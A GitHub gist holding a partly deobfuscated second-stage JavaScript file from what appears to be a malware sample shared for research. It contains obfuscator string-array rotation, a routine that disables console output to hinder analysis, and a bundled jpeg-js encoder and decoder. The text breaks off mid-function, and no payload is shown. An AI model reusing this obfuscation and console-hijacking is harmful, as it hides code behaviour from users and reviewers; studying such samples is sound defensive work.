Last active
January 17, 2026 17:26
-
-
Save Kaliendo/b66bda09868eeb0473418954db5d9a8a to your computer and use it in GitHub Desktop.
vx underground stage2 deobf.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const potato = perpetual; | |
| (function (screeching, man) { | |
| const advertisement = perpetual, | |
| grateful = screeching(); | |
| while (!![]) { | |
| try { | |
| const fanatical = parseInt("286205pGQqzX") / 1 + parseInt("4hmknAu") / 2 * (-parseInt("37722cViTwK") / 3) + -parseInt("827968OiKTqb") / 4 + parseInt("40pmTKKt") / 5 * (-parseInt("1242PKsdWJ") / 6) + parseInt("439887OhQSrb") / 7 * (parseInt("24CbjMqZ") / 8) + -parseInt("1126125gZpODj") / 9 + parseInt("348670VhYlJl") / 10; | |
| if (fanatical === man) break; | |
| else grateful["push"](grateful["shift"]()); | |
| } catch (theory) { | |
| grateful["push"](grateful["shift"]()); | |
| } | |
| } | |
| })(skillful, 150674); | |
| const erratic = function () { | |
| let shape = !![]; | |
| return function (print, meeting) { | |
| const four = shape ? function () { | |
| if (meeting) { | |
| const steel = meeting["apply"](print, arguments); | |
| return meeting = null, steel; | |
| } | |
| } : function () {}; | |
| return shape = ![], four; | |
| }; | |
| }(), | |
| standing = erratic(this, function () { | |
| const weigh = perpetual, | |
| minute = function () { | |
| const force = perpetual; | |
| let amount; | |
| try { | |
| amount = Function("return (function() {}.constructor(\"return this\")( ));")(); | |
| } catch (whip) { | |
| amount = window; | |
| } | |
| return amount; | |
| }, | |
| clover = minute(), | |
| wave = clover["console"] = clover["console"] || {}, | |
| nonstop = ["log", "warn", "info", "error", "exception", "table", "trace"]; | |
| for (let detailed = 0; detailed < nonstop["length"]; detailed++) { | |
| const aspiring = erratic["constructor"]["prototype"]["bind"](erratic), | |
| shock = nonstop[detailed], | |
| play = wave[shock] || aspiring; | |
| aspiring["__proto__"] = erratic["bind"](erratic), aspiring["toString"] = play["toString"]["bind"](play), wave[shock] = aspiring; | |
| } | |
| }); | |
| standing(); | |
| var __create = Object["create"], | |
| __defProp = Object["defineProperty"], | |
| __getOwnPropDesc = Object["getOwnPropertyDescriptor"], | |
| __getOwnPropNames = Object["getOwnPropertyNames"], | |
| __getProtoOf = Object["getPrototypeOf"], | |
| __hasOwnProp = Object["prototype"]["hasOwnProperty"], | |
| __commonJS = (bashful, long) => function quarter() { | |
| const six = potato; | |
| return long || (0, bashful[__getOwnPropNames(bashful)[0]])((long = { | |
| "exports": {} | |
| })["exports"], long), long["exports"]; | |
| }, | |
| __copyProps = (charge, dock, crabby, dime) => { | |
| const wry = potato; | |
| if (dock && typeof dock === "object" || typeof dock === "function") { | |
| for (let story of __getOwnPropNames(dock)) | |
| if (!__hasOwnProp["call"](charge, story) && story !== crabby) __defProp(charge, story, { | |
| "get": () => dock[story], | |
| "enumerable": !(dime = __getOwnPropDesc(dock, story)) || dime["enumerable"] | |
| }); | |
| } | |
| return charge; | |
| }, | |
| __toESM = (wiry, rampant, dare) => (dare = wiry != null ? __create(__getProtoOf(wiry)) : {}, __copyProps(rampant || !wiry || !wiry["__esModule"] ? __defProp(dare, "default", { | |
| "value": wiry, | |
| "enumerable": !![] | |
| }) : dare, wiry)), | |
| require_encoder = __commonJS({ | |
| "node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/encoder.js"(open, shame) { | |
| const many = potato; | |
| var brush = brush || function (babies) { | |
| const stem = perpetual; | |
| return Buffer["from"](babies)["toString"]("base64"); | |
| }; | |
| function squeeze(judge) { | |
| const heavenly = perpetual; | |
| var defeated = this, | |
| optimal = Math["round"], | |
| invention = Math["floor"], | |
| object = new Array(64), | |
| change = new Array(64), | |
| sink = new Array(64), | |
| verdant = new Array(64), | |
| jaded, | |
| adjoining, | |
| muddled, | |
| helpless, | |
| motionless = new Array(65535), | |
| skirt = new Array(65535), | |
| shrug = new Array(64), | |
| trip = new Array(64), | |
| haircut = [], | |
| oven = 0, | |
| lip = 7, | |
| habitual = new Array(64), | |
| yielding = new Array(64), | |
| bag = new Array(64), | |
| wheel = new Array(256), | |
| attach = new Array(2048), | |
| ticket, | |
| visit = [0, 1, 5, 6, 14, 15, 27, 28, 2, 4, 7, 13, 16, 26, 29, 42, 3, 8, 12, 17, 25, 30, 41, 43, 9, 11, 18, 24, 31, 40, 44, 53, 10, 19, 23, 32, 39, 45, 52, 54, 20, 22, 33, 38, 46, 51, 55, 60, 21, 34, 37, 47, 50, 56, 59, 61, 35, 36, 48, 49, 57, 58, 62, 63], | |
| reflect = [0, 0, 1, 5, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0], | |
| suppose = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], | |
| present = [0, 0, 2, 1, 3, 3, 2, 4, 3, 5, 5, 4, 4, 0, 0, 1, 125], | |
| wound = [1, 2, 3, 0, 4, 17, 5, 18, 33, 49, 65, 6, 19, 81, 97, 7, 34, 113, 20, 50, 129, 145, 161, 8, 35, 66, 177, 193, 21, 82, 209, 240, 36, 51, 98, 114, 130, 9, 10, 22, 23, 24, 25, 26, 37, 38, 39, 40, 41, 42, 52, 53, 54, 55, 56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88, 89, 90, 99, 100, 101, 102, 103, 104, 105, 106, 115, 116, 117, 118, 119, 120, 121, 122, 131, 132, 133, 134, 135, 136, 137, 138, 146, 147, 148, 149, 150, 151, 152, 153, 154, 162, 163, 164, 165, 166, 167, 168, 169, 170, 178, 179, 180, 181, 182, 183, 184, 185, 186, 194, 195, 196, 197, 198, 199, 200, 201, 202, 210, 211, 212, 213, 214, 215, 216, 217, 218, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250], | |
| voyage = [0, 0, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0], | |
| real = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11], | |
| aunt = [0, 0, 2, 1, 2, 4, 4, 3, 4, 7, 5, 4, 4, 0, 1, 2, 119], | |
| religion = [0, 1, 2, 3, 17, 4, 5, 33, 49, 6, 18, 65, 81, 7, 97, 113, 19, 34, 50, 129, 8, 20, 66, 145, 161, 177, 193, 9, 35, 51, 82, 240, 21, 98, 114, 209, 10, 22, 36, 52, 225, 37, 241, 23, 24, 25, 26, 38, 39, 40, 41, 42, 53, 54, 55, 56, 57, 58, 67, 68, 69, 70, 71, 72, 73, 74, 83, 84, 85, 86, 87, 88, 89, 90, 99, 100, 101, 102, 103, 104, 105, 106, 115, 116, 117, 118, 119, 120, 121, 122, 130, 131, 132, 133, 134, 135, 136, 137, 138, 146, 147, 148, 149, 150, 151, 152, 153, 154, 162, 163, 164, 165, 166, 167, 168, 169, 170, 178, 179, 180, 181, 182, 183, 184, 185, 186, 194, 195, 196, 197, 198, 199, 200, 201, 202, 210, 211, 212, 213, 214, 215, 216, 217, 218, 226, 227, 228, 229, 230, 231, 232, 233, 234, 242, 243, 244, 245, 246, 247, 248, 249, 250]; | |
| function redundant(necessary) { | |
| var fail = [16, 11, 10, 16, 24, 40, 51, 61, 12, 12, 14, 19, 26, 58, 60, 55, 14, 13, 16, 24, 40, 57, 69, 56, 14, 17, 22, 29, 51, 87, 80, 62, 18, 22, 37, 56, 68, 109, 103, 77, 24, 35, 55, 64, 81, 104, 113, 92, 49, 64, 78, 87, 103, 121, 120, 101, 72, 92, 95, 98, 112, 100, 103, 99]; | |
| for (var flower = 0; flower < 64; flower++) { | |
| var unpack = invention((fail[flower] * necessary + 50) / 100); | |
| if (unpack < 1) unpack = 1; | |
| else unpack > 255 && (unpack = 255); | |
| object[visit[flower]] = unpack; | |
| } | |
| var join = [17, 18, 24, 47, 99, 99, 99, 99, 18, 21, 26, 66, 99, 99, 99, 99, 24, 26, 56, 99, 99, 99, 99, 99, 47, 66, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99, 99]; | |
| for (var gamy = 0; gamy < 64; gamy++) { | |
| var tired = invention((join[gamy] * necessary + 50) / 100); | |
| if (tired < 1) tired = 1; | |
| else tired > 255 && (tired = 255); | |
| change[visit[gamy]] = tired; | |
| } | |
| var welcome = [1, 1.387039845, 1.306562965, 1.175875602, 1, 0.785694958, 0.5411961, 0.275899379], | |
| rightful = 0; | |
| for (var jeans = 0; jeans < 8; jeans++) { | |
| for (var obscene = 0; obscene < 8; obscene++) { | |
| sink[rightful] = 1 / (object[visit[rightful]] * welcome[jeans] * welcome[obscene] * 8), verdant[rightful] = 1 / (change[visit[rightful]] * welcome[jeans] * welcome[obscene] * 8), rightful++; | |
| } | |
| } | |
| } | |
| function spring(basket, battle) { | |
| var utter = 0, | |
| descriptive = 0, | |
| caring = new Array(); | |
| for (var pies = 1; pies <= 16; pies++) { | |
| for (var drawer = 1; drawer <= basket[pies]; drawer++) { | |
| caring[battle[descriptive]] = [], caring[battle[descriptive]][0] = utter, caring[battle[descriptive]][1] = pies, descriptive++, utter++; | |
| } | |
| utter *= 2; | |
| } | |
| return caring; | |
| } | |
| function station() { | |
| jaded = spring(reflect, suppose), adjoining = spring(voyage, real), muddled = spring(present, wound), helpless = spring(aunt, religion); | |
| } | |
| function soothe() { | |
| var year = 1, | |
| agreeable = 2; | |
| for (var seemly = 1; seemly <= 15; seemly++) { | |
| for (var button = year; button < agreeable; button++) { | |
| skirt[32767 + button] = seemly, motionless[32767 + button] = [], motionless[32767 + button][1] = seemly, motionless[32767 + button][0] = button; | |
| } | |
| for (var encourage = -(agreeable - 1); encourage <= -year; encourage++) { | |
| skirt[32767 + encourage] = seemly, motionless[32767 + encourage] = [], motionless[32767 + encourage][1] = seemly, motionless[32767 + encourage][0] = agreeable - 1 + encourage; | |
| } | |
| year <<= 1, agreeable <<= 1; | |
| } | |
| } | |
| function reduce() { | |
| for (var bed = 0; bed < 256; bed++) { | |
| attach[bed] = 19595 * bed, attach[bed + 256 >> 0] = 38470 * bed, attach[bed + 512 >> 0] = 7471 * bed + 32768, attach[bed + 768 >> 0] = -11059 * bed, attach[bed + 1024 >> 0] = -21709 * bed, attach[bed + 1280 >> 0] = 32768 * bed + 8421375, attach[bed + 1536 >> 0] = -27439 * bed, attach[bed + 1792 >> 0] = -5329 * bed; | |
| } | |
| } | |
| function wave(nosy) { | |
| var zoo = nosy[0], | |
| hateful = nosy[1] - 1; | |
| while (hateful >= 0) { | |
| zoo & 1 << hateful && (oven |= 1 << lip), hateful--, lip--, lip < 0 && (oven == 255 ? (flaky(255), flaky(0)) : flaky(oven), lip = 7, oven = 0); | |
| } | |
| } | |
| function flaky(work) { | |
| haircut["push"](work); | |
| } | |
| function ear(uneven) { | |
| flaky(uneven >> 8 & 255), flaky(uneven & 255); | |
| } | |
| function cumbersome(languid, box) { | |
| var devilish, | |
| yawn, | |
| ablaze, | |
| lake, | |
| harbor, | |
| legs, | |
| glow, | |
| glossy, | |
| cruel = 0, | |
| warn, | |
| hard = 8, | |
| unique = 64; | |
| for (warn = 0; warn < hard; ++warn) { | |
| devilish = languid[cruel], yawn = languid[cruel + 1], ablaze = languid[cruel + 2], lake = languid[cruel + 3], harbor = languid[cruel + 4], legs = languid[cruel + 5], glow = languid[cruel + 6], glossy = languid[cruel + 7]; | |
| var card = devilish + glossy, | |
| hug = devilish - glossy, | |
| tangible = yawn + glow, | |
| hook = yawn - glow, | |
| label = ablaze + legs, | |
| exotic = ablaze - legs, | |
| account = lake + harbor, | |
| imagine = lake - harbor, | |
| grain = card + account, | |
| tranquil = card - account, | |
| book = tangible + label, | |
| pickle = tangible - label; | |
| languid[cruel] = grain + book, languid[cruel + 4] = grain - book; | |
| var whistle = (pickle + tranquil) * 0.707106781; | |
| languid[cruel + 2] = tranquil + whistle, languid[cruel + 6] = tranquil - whistle, grain = imagine + exotic, book = exotic + hook, pickle = hook + hug; | |
| var sack = (grain - pickle) * 0.382683433, | |
| scissors = 0.5411961 * grain + sack, | |
| trashy = 1.306562965 * pickle + sack, | |
| puzzled = book * 0.707106781, | |
| bottle = hug + puzzled, | |
| smile = hug - puzzled; | |
| languid[cruel + 5] = smile + scissors, languid[cruel + 3] = smile - scissors, languid[cruel + 1] = bottle + trashy, languid[cruel + 7] = bottle - trashy, cruel += 8; | |
| } | |
| cruel = 0; | |
| for (warn = 0; warn < hard; ++warn) { | |
| devilish = languid[cruel], yawn = languid[cruel + 8], ablaze = languid[cruel + 16], lake = languid[cruel + 24], harbor = languid[cruel + 32], legs = languid[cruel + 40], glow = languid[cruel + 48], glossy = languid[cruel + 56]; | |
| var neighborly = devilish + glossy, | |
| eatable = devilish - glossy, | |
| admit = yawn + glow, | |
| picayune = yawn - glow, | |
| type = ablaze + legs, | |
| fast = ablaze - legs, | |
| shy = lake + harbor, | |
| anger = lake - harbor, | |
| open = neighborly + shy, | |
| add = neighborly - shy, | |
| curly = admit + type, | |
| free = admit - type; | |
| languid[cruel] = open + curly, languid[cruel + 32] = open - curly; | |
| var aftermath = (free + add) * 0.707106781; | |
| languid[cruel + 16] = add + aftermath, languid[cruel + 48] = add - aftermath, open = anger + fast, curly = fast + picayune, free = picayune + eatable; | |
| var cherry = (open - free) * 0.382683433, | |
| daily = 0.5411961 * open + cherry, | |
| heal = 1.306562965 * free + cherry, | |
| rose = curly * 0.707106781, | |
| abhorrent = eatable + rose, | |
| short = eatable - rose; | |
| languid[cruel + 40] = short + daily, languid[cruel + 24] = short - daily, languid[cruel + 8] = abhorrent + heal, languid[cruel + 56] = abhorrent - heal, cruel++; | |
| } | |
| var fine; | |
| for (warn = 0; warn < unique; ++warn) { | |
| fine = languid[warn] * box[warn], shrug[warn] = fine > 0 ? fine + 0.5 | 0 : fine - 0.5 | 0; | |
| } | |
| return shrug; | |
| } | |
| function guarded() { | |
| ear(65504), ear(16), flaky(74), flaky(70), flaky(73), flaky(70), flaky(0), flaky(1), flaky(1), flaky(0), ear(1), ear(1), flaky(0), flaky(0); | |
| } | |
| function vase(fascinated) { | |
| const fresh = heavenly; | |
| if (!fascinated) return; | |
| ear(65505); | |
| fascinated[0] === 69 && fascinated[1] === 120 && fascinated[2] === 105 && fascinated[3] === 102 ? ear(fascinated["length"] + 2) : (ear(fascinated["length"] + 5 + 2), flaky(69), flaky(120), flaky(105), flaky(102), flaky(0)); | |
| for (var chickens = 0; chickens < fascinated["length"]; chickens++) { | |
| flaky(fascinated[chickens]); | |
| } | |
| } | |
| function mine(stare, boring) { | |
| ear(65472), ear(17), flaky(8), ear(boring), ear(stare), flaky(3), flaky(1), flaky(17), flaky(0), flaky(2), flaky(17), flaky(1), flaky(3), flaky(17), flaky(1); | |
| } | |
| function include() { | |
| ear(65499), ear(132), flaky(0); | |
| for (var ajar = 0; ajar < 64; ajar++) { | |
| flaky(object[ajar]); | |
| } | |
| flaky(1); | |
| for (var gorgeous = 0; gorgeous < 64; gorgeous++) { | |
| flaky(change[gorgeous]); | |
| } | |
| } | |
| function trade() { | |
| ear(65476), "CJw", flaky(0); | |
| for (var selective = 0; selective < 16; selective++) { | |
| flaky(reflect[selective + 1]); | |
| } | |
| for (var reading = 0; reading <= 11; reading++) { | |
| flaky(suppose[reading]); | |
| } | |
| flaky(16); | |
| for (var snakes = 0; snakes < 16; snakes++) { | |
| flaky(present[snakes + 1]); | |
| } | |
| for (var sneeze = 0; sneeze <= 161; sneeze++) { | |
| flaky(wound[sneeze]); | |
| } | |
| flaky(1); | |
| for (var spill = 0; spill < 16; spill++) { | |
| flaky(voyage[spill + 1]); | |
| } | |
| for (var helpful = 0; helpful <= 11; helpful++) { | |
| flaky(real[helpful]); | |
| } | |
| flaky(17); | |
| for (var alleged = 0; alleged < 16; alleged++) { | |
| flaky(aunt[alleged + 1]); | |
| } | |
| for (var numerous = 0; numerous <= 161; numerous++) { | |
| flaky(religion[numerous]); | |
| } | |
| } | |
| function note(acoustics) { | |
| const fry = heavenly; | |
| if (typeof acoustics === "undefined" || acoustics["constructor"] !== Array) return; | |
| acoustics["forEach"](resonant => { | |
| const supply = fry; | |
| if (typeof resonant !== "string") return; | |
| ear(65534); | |
| var geese = resonant["length"]; | |
| ear(geese + 2); | |
| var pets; | |
| for (pets = 0; pets < geese; pets++) flaky(resonant["charCodeAt"](pets)); | |
| }); | |
| } | |
| function impulse() { | |
| ear(65498), ear(12), flaky(3), flaky(1), flaky(0), flaky(2), flaky(17), flaky(3), flaky(17), flaky(0), flaky(63), flaky(0); | |
| } | |
| function scintillating(tame, release, tail, depend, lively) { | |
| var nondescript = lively[0], | |
| punishment = lively[240], | |
| sore, | |
| statuesque = 16, | |
| stupendous = 63, | |
| aromatic = 64, | |
| thin = cumbersome(tame, release); | |
| for (var coil = 0; coil < aromatic; ++coil) { | |
| trip[visit[coil]] = thin[coil]; | |
| } | |
| var serve = trip[0] - tail; | |
| tail = trip[0]; | |
| serve == 0 ? wave(depend[0]) : (sore = 32767 + serve, wave(depend[skirt[sore]]), wave(motionless[sore])); | |
| var rinse = 63; | |
| for (; rinse > 0 && trip[rinse] == 0; rinse--) {}; | |
| if (rinse == 0) return wave(nondescript), tail; | |
| var gusty = 1, | |
| swim; | |
| while (gusty <= rinse) { | |
| var save = gusty; | |
| for (; trip[gusty] == 0 && gusty <= rinse; ++gusty) {} | |
| var guttural = gusty - save; | |
| if (guttural >= statuesque) { | |
| swim = guttural >> 4; | |
| for (var attend = 1; attend <= swim; ++attend) wave(punishment); | |
| guttural = guttural & 15; | |
| } | |
| sore = 32767 + trip[gusty], wave(lively[(guttural << 4) + skirt[sore]]), wave(motionless[sore]), gusty++; | |
| } | |
| return rinse != stupendous && wave(nondescript), tail; | |
| } | |
| function shoes() { | |
| const used = heavenly; | |
| var periodic = String["fromCharCode"]; | |
| for (var minor = 0; minor < 256; minor++) { | |
| wheel[minor] = periodic(minor); | |
| } | |
| } | |
| this["encode"] = function (dysfunctional, ragged) { | |
| const sisters = heavenly; | |
| var receptive = new Date()["getTime"](); | |
| if (ragged) railway(ragged); | |
| haircut = new Array(), oven = 0, lip = 7, ear(65496), guarded(), note(dysfunctional["comments"]), vase(dysfunctional["exifBuffer"]), include(), mine(dysfunctional["width"], dysfunctional["height"]), trade(), impulse(); | |
| var decay = 0, | |
| meek = 0, | |
| crooked = 0; | |
| oven = 0, lip = 7, this["encode"]["displayName"] = "_encode_"; | |
| var representative = dysfunctional["data"], | |
| twist = dysfunctional["width"], | |
| manage = dysfunctional["height"], | |
| bored = twist * 4, | |
| grotesque = twist * 3, | |
| demonic, | |
| camp = 0, | |
| temporary, | |
| coil, | |
| passenger, | |
| appliance, | |
| clam, | |
| smoggy, | |
| tasteless, | |
| guess; | |
| while (camp < manage) { | |
| demonic = 0; | |
| while (demonic < bored) { | |
| appliance = bored * camp + demonic, clam = appliance, smoggy = -1, tasteless = 0; | |
| for (guess = 0; guess < 64; guess++) { | |
| tasteless = guess >> 3, smoggy = (guess & 7) * 4, clam = appliance + tasteless * bored + smoggy, camp + tasteless >= manage && (clam -= bored * (camp + 1 + tasteless - manage)), demonic + smoggy >= bored && (clam -= demonic + smoggy - bored + 4), temporary = representative[clam++], coil = representative[clam++], passenger = representative[clam++], habitual[guess] = (attach[temporary] + attach[coil + 256 >> 0] + attach[passenger + 512 >> 0] >> 16) - 128, yielding[guess] = (attach[temporary + 768 >> 0] + attach[coil + 1024 >> 0] + attach[passenger + 1280 >> 0] >> 16) - 128, bag[guess] = (attach[temporary + 1280 >> 0] + attach[coil + 1536 >> 0] + attach[passenger + 1792 >> 0] >> 16) - 128; | |
| } | |
| decay = scintillating(habitual, sink, decay, jaded, muddled), meek = scintillating(yielding, verdant, meek, adjoining, helpless), crooked = scintillating(bag, verdant, crooked, adjoining, helpless), demonic += 32; | |
| } | |
| camp += 8; | |
| } | |
| if (lip >= 0) { | |
| var verse = []; | |
| verse[1] = lip + 1, verse[0] = (1 << lip + 1) - 1, wave(verse); | |
| } | |
| ear(65497); | |
| if (typeof shame === "undefined") return new Uint8Array(haircut); | |
| return Buffer["from"](haircut); | |
| var drab = "data:image/jpeg;base64," + brush(haircut["join"]("")); | |
| haircut = []; | |
| var peep = new Date()["getTime"]() - receptive; | |
| return drab; | |
| }; | |
| function railway(business) { | |
| const paper = heavenly; | |
| business <= 0 && (business = 1); | |
| business > 100 && (business = 100); | |
| if (ticket == business) return; | |
| var female = 0; | |
| business < 50 ? female = Math["floor"](5000 / business) : female = Math["floor"](200 - business * 2), redundant(female), ticket = business; | |
| } | |
| function admire() { | |
| const way = heavenly; | |
| var moor = new Date()["getTime"](); | |
| if (!judge) judge = 50; | |
| shoes(), station(), soothe(), reduce(), railway(judge); | |
| var breezy = new Date()["getTime"]() - moor; | |
| } | |
| admire(); | |
| } | |
| if (typeof shame !== "undefined") shame["exports"] = opposite; | |
| else typeof window !== "undefined" && (window["jpeg-js"] = window["jpeg-js"] || {}, window["jpeg-js"]["encode"] = opposite); | |
| function opposite(comparison, tank) { | |
| const suit = many; | |
| if (typeof tank === "undefined") tank = 50; | |
| var ludicrous = new squeeze(tank), | |
| minister = ludicrous["encode"](comparison, tank); | |
| return { | |
| "data": minister, | |
| "width": comparison["width"], | |
| "height": comparison["height"] | |
| }; | |
| } | |
| } | |
| }), | |
| require_decoder = __commonJS({ | |
| "node_modules/.deno/jpeg-js@0.4.4/node_modules/jpeg-js/lib/decoder.js"(stiff, whine) { | |
| const request = potato; | |
| var camera = function internal() { | |
| 'use strict'; | |
| const improve = perpetual; | |
| var unnatural = new Int32Array([0, 1, 8, 16, 9, 2, 3, 10, 17, 24, 32, 25, 18, 11, 4, 5, 12, 19, 26, 33, 40, 48, 41, 34, 27, 20, 13, 6, 7, 14, 21, 28, 35, 42, 49, 56, 57, 50, 43, 36, 29, 22, 15, 23, 30, 37, 44, 51, 58, 59, 52, 45, 38, 31, 39, 46, 53, 60, 61, 54, 47, 55, 62, 63]), | |
| decisive = 4017, | |
| exist = 799, | |
| grip = 3406, | |
| electric = 2276, | |
| bathe = 1567, | |
| scandalous = 3784, | |
| steer = 5793, | |
| humdrum = 2896; | |
| function action() {} | |
| function rot(roll, quartz) { | |
| const amused = perpetual; | |
| var sidewalk = 0, | |
| roll = [], | |
| curve, | |
| absent, | |
| test = 16; | |
| while (test > 0 && !roll[test - 1]) test--; | |
| roll["push"]({ | |
| "children": [], | |
| "index": 0 | |
| }); | |
| var key = roll[0], | |
| wash; | |
| for (curve = 0; curve < test; curve++) { | |
| for (absent = 0; absent < roll[curve]; absent++) { | |
| key = roll["pop"](), key["children"][key["index"]] = quartz[sidewalk]; | |
| while (key["index"] > 0) { | |
| if (roll["length"] === 0) throw new Error("Could not recreate Huffman Table"); | |
| key = roll["pop"](); | |
| } | |
| key["index"]++, roll["push"](key); | |
| while (roll["length"] <= curve) { | |
| roll["push"](wash = { | |
| "children": [], | |
| "index": 0 | |
| }), key["children"][key["index"]] = wash["children"], key = wash; | |
| } | |
| sidewalk++; | |
| } | |
| curve + 1 < test && (roll["push"](wash = { | |
| "children": [], | |
| "index": 0 | |
| }), key["children"][key["index"]] = wash["children"], key = wash); | |
| } | |
| return roll[0]["children"]; | |
| } | |
| function handsomely(wandering, harsh, stew, witty, nostalgic, flood, subdued, notebook, offend, toothbrush) { | |
| const rigid = perpetual; | |
| var drink = stew["precision"], | |
| male = stew["samplesPerLine"], | |
| idea = stew["scanLines"], | |
| married = stew["mcusPerLine"], | |
| tenuous = stew["progressive"], | |
| excellent = stew["maxH"], | |
| miniature = stew["maxV"], | |
| small = harsh, | |
| book = 0, | |
| blood = 0; | |
| function land() { | |
| const proud = rigid; | |
| if (blood > 0) return blood--, book >> blood & 1; | |
| book = wandering[harsh++]; | |
| if (book == 255) { | |
| var tickle = wandering[harsh++]; | |
| if (tickle) throw new Error("unexpected marker: " + (book << 8 | tickle)["toString"](16)); | |
| } | |
| return blood = 7, book >>> 7; | |
| } | |
| function diligent(offbeat) { | |
| const brake = rigid; | |
| var acid = offbeat, | |
| abounding; | |
| while ((abounding = land()) !== null) { | |
| acid = acid[abounding]; | |
| if (typeof acid === "number") return acid; | |
| if (typeof acid !== "object") throw new Error("invalid huffman sequence"); | |
| } | |
| return null; | |
| } | |
| function feeling(zealous) { | |
| var stone = 0; | |
| while (zealous > 0) { | |
| var animal = land(); | |
| if (animal === null) return; | |
| stone = stone << 1 | animal, zealous--; | |
| } | |
| return stone; | |
| } | |
| function cushion(bomb) { | |
| var contain = feeling(bomb); | |
| if (contain >= 1 << bomb - 1) return contain; | |
| return contain + (-1 << bomb) + 1; | |
| } | |
| function phobic(flat, butter) { | |
| const ignorant = rigid; | |
| var curtain = diligent(flat["huffmanTableDC"]), | |
| riddle = curtain === 0 ? 0 : cushion(curtain); | |
| butter[0] = flat["pred"] += riddle; | |
| var part = 1; | |
| while (part < 64) { | |
| var trees = diligent(flat["huffmanTableAC"]), | |
| quixotic = trees & 15, | |
| toothpaste = trees >> 4; | |
| if (quixotic === 0) { | |
| if (toothpaste < 15) break; | |
| part += 16; | |
| continue; | |
| } | |
| part += toothpaste; | |
| var allow = unnatural[part]; | |
| butter[allow] = cushion(quixotic), part++; | |
| } | |
| } | |
| function discovery(miscreant, pick) { | |
| const air = rigid; | |
| var wonderful = diligent(miscreant["huffmanTableDC"]), | |
| order = wonderful === 0 ? 0 : cushion(wonderful) << offend; | |
| pick[0] = miscreant["pred"] += order; | |
| } | |
| function laughable(press, rural) { | |
| rural[0] |= land() << offend; | |
| } | |
| var efficacious = 0; | |
| function fortunate(loose, spurious) { | |
| const nine = rigid; | |
| if (efficacious > 0) { | |
| efficacious--; | |
| return; | |
| } | |
| var smell = flood, | |
| current = subdued; | |
| while (smell <= current) { | |
| var experience = diligent(loose["huffmanTableAC"]), | |
| grab = experience & 15, | |
| rapid = experience >> 4; | |
| if (grab === 0) { | |
| if (rapid < 15) { | |
| efficacious = feeling(rapid) + (1 << rapid) - 1; | |
| break; | |
| } | |
| smell += 16; | |
| continue; | |
| } | |
| smell += rapid; | |
| var songs = unnatural[smell]; | |
| spurious[songs] = cushion(grab) * (1 << offend), smell++; | |
| } | |
| } | |
| var bulb = 0, | |
| empty; | |
| function show(slave, winter) { | |
| const compete = rigid; | |
| var lucky = flood, | |
| prick = subdued, | |
| hall = 0; | |
| while (lucky <= prick) { | |
| var stitch = unnatural[lucky], | |
| judge = winter[stitch] < 0 ? -1 : 1; | |
| switch (bulb) { | |
| case 0: | |
| var road = diligent(slave["huffmanTableAC"]), | |
| applaud = road & 15, | |
| hall = road >> 4; | |
| if (applaud === 0) hall < 15 ? (efficacious = feeling(hall) + (1 << hall), bulb = 4) : (hall = 16, bulb = 1); | |
| else { | |
| if (applaud !== 1) throw new Error("invalid ACn encoding"); | |
| empty = cushion(applaud), bulb = hall ? 2 : 3; | |
| } | |
| continue; | |
| case 1: | |
| case 2: | |
| if (winter[stitch]) winter[stitch] += (land() << offend) * judge; | |
| else { | |
| hall--; | |
| if (hall === 0) bulb = bulb == 2 ? 3 : 0; | |
| } | |
| break; | |
| case 3: | |
| if (winter[stitch]) winter[stitch] += (land() << offend) * judge; | |
| else winter[stitch] = empty << offend, bulb = 0; | |
| break; | |
| case 4: | |
| if (winter[stitch]) winter[stitch] += (land() << offend) * judge; | |
| break; | |
| } | |
| lucky++; | |
| } | |
| if (bulb === 4) { | |
| efficacious--; | |
| if (efficacious === 0) bulb = 0; | |
| } | |
| } | |
| function heavy(regret, soft, profuse, substance, sip) { | |
| const detect = rigid; | |
| var mammoth = profuse / married | 0, | |
| cloth = profuse % married, | |
| honey = mammoth * regret["v"] + substance, | |
| frame = cloth * regret["h"] + sip; | |
| if (regret["blocks"][honey] === void 0 && toothbrush["tolerantDecoding"]) return; | |
| soft(regret, regret["blocks"][honey][frame]); | |
| } | |
| function brass(price, transport, eyes) { | |
| const weather = rigid; | |
| var knife = eyes / price["blocksPerLine"] | 0, | |
| boundless = eyes % price["blocksPerLine"]; | |
| if (price["blocks"][knife] === void 0 && toothbrush["tolerantDecoding"]) return; | |
| transport(price, price["blocks"][knife][boundless]); | |
| } | |
| var overflow = witty["length"], | |
| mailbox, | |
| front, | |
| refuse, | |
| striped, | |
| instrument, | |
| tremendous; | |
| if (tenuous) { | |
| if (flood === 0) tremendous = notebook === 0 ? discovery : laughable; | |
| else tremendous = notebook === 0 ? fortunate : show; | |
| } else tremendous = phobic; | |
| var push = 0, | |
| wonder, | |
| normal; | |
| overflow == 1 ? normal = witty[0]["blocksPerLine"] * witty[0]["blocksPerColumn"] : normal = married * stew["mcusPerColumn"]; | |
| if (!nostalgic) nostalgic = normal; | |
| var scattered, calculate; | |
| while (push < normal) { | |
| for (front = 0; front < overflow; front++) witty[front]["pred"] = 0; | |
| efficacious = 0; | |
| if (overflow == 1) { | |
| mailbox = witty[0]; | |
| for (instrument = 0; instrument < nostalgic; instrument++) { | |
| brass(mailbox, tremendous, push), push++; | |
| } | |
| } else | |
| for (instrument = 0; instrument < nostalgic; instrument++) { | |
| for (front = 0; front < overflow; front++) { | |
| mailbox = witty[front], scattered = mailbox["h"], calculate = mailbox["v"]; | |
| for (refuse = 0; refuse < calculate; refuse++) { | |
| for (striped = 0; striped < scattered; striped++) { | |
| heavy(mailbox, tremendous, push, refuse, striped); | |
| } | |
| } | |
| } | |
| push++; | |
| if (push === normal) break; | |
| } | |
| if (push === normal) | |
| do { | |
| if (wandering[harsh] === 255) { | |
| if (wandering[harsh + 1] !== 0) break; | |
| } | |
| harsh += 1; | |
